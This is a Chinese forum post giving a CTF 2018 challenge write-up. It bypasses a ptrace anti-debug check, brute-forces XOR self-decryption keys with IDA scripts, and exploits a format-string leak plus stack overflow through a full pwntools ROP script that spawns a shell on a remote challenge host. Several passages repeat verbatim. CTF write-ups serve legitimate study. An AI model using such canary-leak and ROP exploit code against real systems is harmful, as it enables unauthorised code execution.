-
-
[原创]CTF2018第三题writeup
-
发表于: 2018-6-22 10:34 3049
-
0x65-0x4008c4
0x13-0x40090b
0x4b-0x400952
0x25-0x400999
0x44-0x4009d7
使用ptrace来反调,发现调试就退出,直接nop掉即可
过反调之后就是自解码了,自解码的key为6字节,可控,整段shellcode的中部丢失,观察头部解密代码.
1 2 3 4 5 6 7 8 9 10 11 | .text:0000000000400866 L1_64: ; CODE XREF: .text:0000000000400878↓j .text:0000000000400866 ; .text:000000000040087D↓j .text:0000000000400866 8A 1C 08 mov bl, [rax+rcx] .text:0000000000400869 30 D3 xor bl, dl .text:000000000040086B 88 1C 08 mov [rax+rcx], bl .text:000000000040086E 8A 74 08 FF mov dh, [rax+rcx-1] .text:0000000000400872 48 FF C1 inc rcx .text:0000000000400875 80 FE FB cmp dh, 0FBh .text:0000000000400878 74 EC jz short L1_64 .text:000000000040087A 80 FB 90 cmp bl, 90h .text:000000000040087D 75 E7 jnz short L1_64 |
头部使用key[0]进行xor解密,当最后一个解密字符为0x90且倒数第二个不为0xFB时结束解密.单个解码key有0xFF种可能,因此我们猜测后续解密也使用了固定的结构,也就是使用了cmp bl,90h.
1 2 3 4 5 6 7 | def find(start, end): for key in range ( 0 , 0xFF ): for addr in range (start, end): if Byte(addr)^key = = 0xFB and Byte(addr + 1 )^key = = 0x90 : print hex (key) print hex (addr) find( 0x40087F , 0x400A73 ) |
可以得出5个key
0x65-0x4008c4
0x13-0x40090b
0x4b-0x400952
0x25-0x400999
0x44-0x4009d7
进行解码1 2 3 | def Decode(start, end, key): for addr in range (start, end): PatchByte(addr, Byte(addr)^key) |
发现解码后的数据段之间还存在未解码的数据,结合解密的终止条件,猜测最后一个字符应该为nop,因此扩大地址重新进行解密.
观察第五段解密代码,发现以0x90结尾,因此最后一个key是0xF
1 2 3 4 5 6 7 8 | .text: 00000000004009CB L6_64: ; CODE XREF: .text: 00000000004009D9 ↓j .text: 00000000004009CB 8A 1C 08 mov bl, [rax + rcx] .text: 00000000004009CE 30 D3 xor bl, dl .text: 00000000004009D0 88 1C 08 mov [rax + rcx], bl .text: 00000000004009D3 48 FF C1 inc rcx .text: 00000000004009D6 80 FB 90 cmp bl, 90h .text: 00000000004009D9 75 F0 jnz short L6_64 .text: 00000000004009DB 90 nop |
6个解密key为0x65 0x13 0x4b 0x25 0x44 0x0F
但是这6个key并不是我们输入的key,因此key与key之间还有xor运算.
因此最后的输入为evXnaK
3.溢出
观察解密后的shellcode,发现存在栈溢出和printf漏洞.
printf的参数可控,大小为0x1A,因此可以用来泄露canary(%13$p)和lic_start_main
(%15$p)
的地址
由于开启了libc.so的PIE,所以要使用rop来调用system,rop需要寻找pop rdi,ret.system地址,/bin/sh地址
终上所述,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | from pwn import * context.log_level = 'debug' libc = ELF( 'libc-2.23.so' ) symbol_libc_start_main = libc.symbols[ '__libc_start_main' ] symbol_system = libc.symbols[ 'system' ] symbol_pop_rdi_ret = 0x21102 symbol_bin_sh = 0x18CD57 offset__system = symbol_libc_start_main - symbol_system offset_pop_rdi_ret = symbol_libc_start_main - symbol_pop_rdi_ret offset_bin_sh = symbol_libc_start_main - symbol_bin_sh #p=process('./wow_modify') p = remote( '139.199.99.130' , 65188 ) print (p.recv()) p.sendline( 'evXnaK-%13$p-%15$p-' ) p.recvuntil( '-' ) canary = int (p.recvuntil( '-' )[: - 1 ], 16 ) libc_start_main = int (p.recvuntil( '-' )[: - 1 ], 16 ) - 0xF0 print hex (libc_start_main) print hex (libc_start_main - offset_pop_rdi_ret) print hex (libc_start_main - offset__system) payload = 'A' * 0x58 + p64(canary) + 'B' * 8 + p64(libc_start_main - offset_pop_rdi_ret) + p64(libc_start_main - offset_bin_sh) + p64(libc_start_main - offset__system) p.sendline(payload) p.recv() p.interactive() |
运行ls -l,发现flag.txt,然后cat下
flag:572416a82fa298b09b87f733d5483ba51
1 2 3 4 5 6 7 8 9 10 11 | .text:0000000000400866 L1_64: ; CODE XREF: .text:0000000000400878↓j .text:0000000000400866 ; .text:000000000040087D↓j .text:0000000000400866 8A 1C 08 mov bl, [rax+rcx] .text:0000000000400869 30 D3 xor bl, dl .text:000000000040086B 88 1C 08 mov [rax+rcx], bl .text:000000000040086E 8A 74 08 FF mov dh, [rax+rcx-1] .text:0000000000400872 48 FF C1 inc rcx .text:0000000000400875 80 FE FB cmp dh, 0FBh .text:0000000000400878 74 EC jz short L1_64 .text:000000000040087A 80 FB 90 cmp bl, 90h .text:000000000040087D 75 E7 jnz short L1_64 |
头部使用key[0]进行xor解密,当最后一个解密字符为0x90且倒数第二个不为0xFB时结束解密.单个解码key有0xFF种可能,因此我们猜测后续解密也使用了固定的结构,也就是使用了cmp bl,90h.
1 2 3 4 5 6 7 | def find(start, end): for key in range ( 0 , 0xFF ): for addr in range (start, end): if Byte(addr)^key = = 0xFB and Byte(addr + 1 )^key = = 0x90 : print hex (key) print hex (addr) find( 0x40087F , 0x400A73 ) |
可以得出5个key
1 2 3 4 5 6 7 | def find(start, end): for key in range ( 0 , 0xFF ): for addr in range (start, end): if Byte(addr)^key = = 0xFB and Byte(addr + 1 )^key = = 0x90 : print hex (key) print hex (addr) find( 0x40087F , 0x400A73 ) |
可以得出5个key
0x65-0x4008c4
0x13-0x40090b
0x4b-0x400952
0x25-0x400999
0x44-0x4009d7
进行解码1 2 3 | def Decode(start, end, key): for addr in range (start, end): PatchByte(addr, Byte(addr)^key) |
发现解码后的数据段之间还存在未解码的数据,结合解密的终止条件,猜测最后一个字符应该为nop,因此扩大地址重新进行解密.
1 2 3 | def Decode(start, end, key): for addr in range (start, end): PatchByte(addr, Byte(addr)^key) |
发现解码后的数据段之间还存在未解码的数据,结合解密的终止条件,猜测最后一个字符应该为nop,因此扩大地址重新进行解密.
观察第五段解密代码,发现以0x90结尾,因此最后一个key是0xF
1 2 3 4 5 6 7 8 | .text: 00000000004009CB L6_64: ; CODE XREF: .text: 00000000004009D9 ↓j .text: 00000000004009CB 8A 1C 08 mov bl, [rax + rcx] .text: 00000000004009CE 30 D3 xor bl, dl .text: 00000000004009D0 88 1C 08 mov [rax + rcx], bl .text: 00000000004009D3 48 FF C1 inc rcx .text: 00000000004009D6 80 FB 90 cmp bl, 90h .text: 00000000004009D9 75 F0 jnz short L6_64 .text: 00000000004009DB 90 nop |
6个解密key为0x65 0x13 0x4b 0x25 0x44 0x0F
1 2 3 4 5 6 7 8 | .text: 00000000004009CB L6_64: ; CODE XREF: .text: 00000000004009D9 ↓j .text: 00000000004009CB 8A 1C 08 mov bl, [rax + rcx] .text: 00000000004009CE 30 D3 xor bl, dl .text: 00000000004009D0 88 1C 08 mov [rax + rcx], bl .text: 00000000004009D3 48 FF C1 inc rcx .text: 00000000004009D6 80 FB 90 cmp bl, 90h .text: 00000000004009D9 75 F0 jnz short L6_64 .text: 00000000004009DB 90 nop |
6个解密key为0x65 0x13 0x4b 0x25 0x44 0x0F
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
- [原创]CTF2018第六题writeup 3823
- [原创]CTF2018第三题writeup 3050
- [原创]CTF2018第二题writeup 2286
- [原创]CTF2017秋季赛第二题解法 2998
- [原创]第一题 Helllo-CTF 1946
赞赏
雪币:
留言: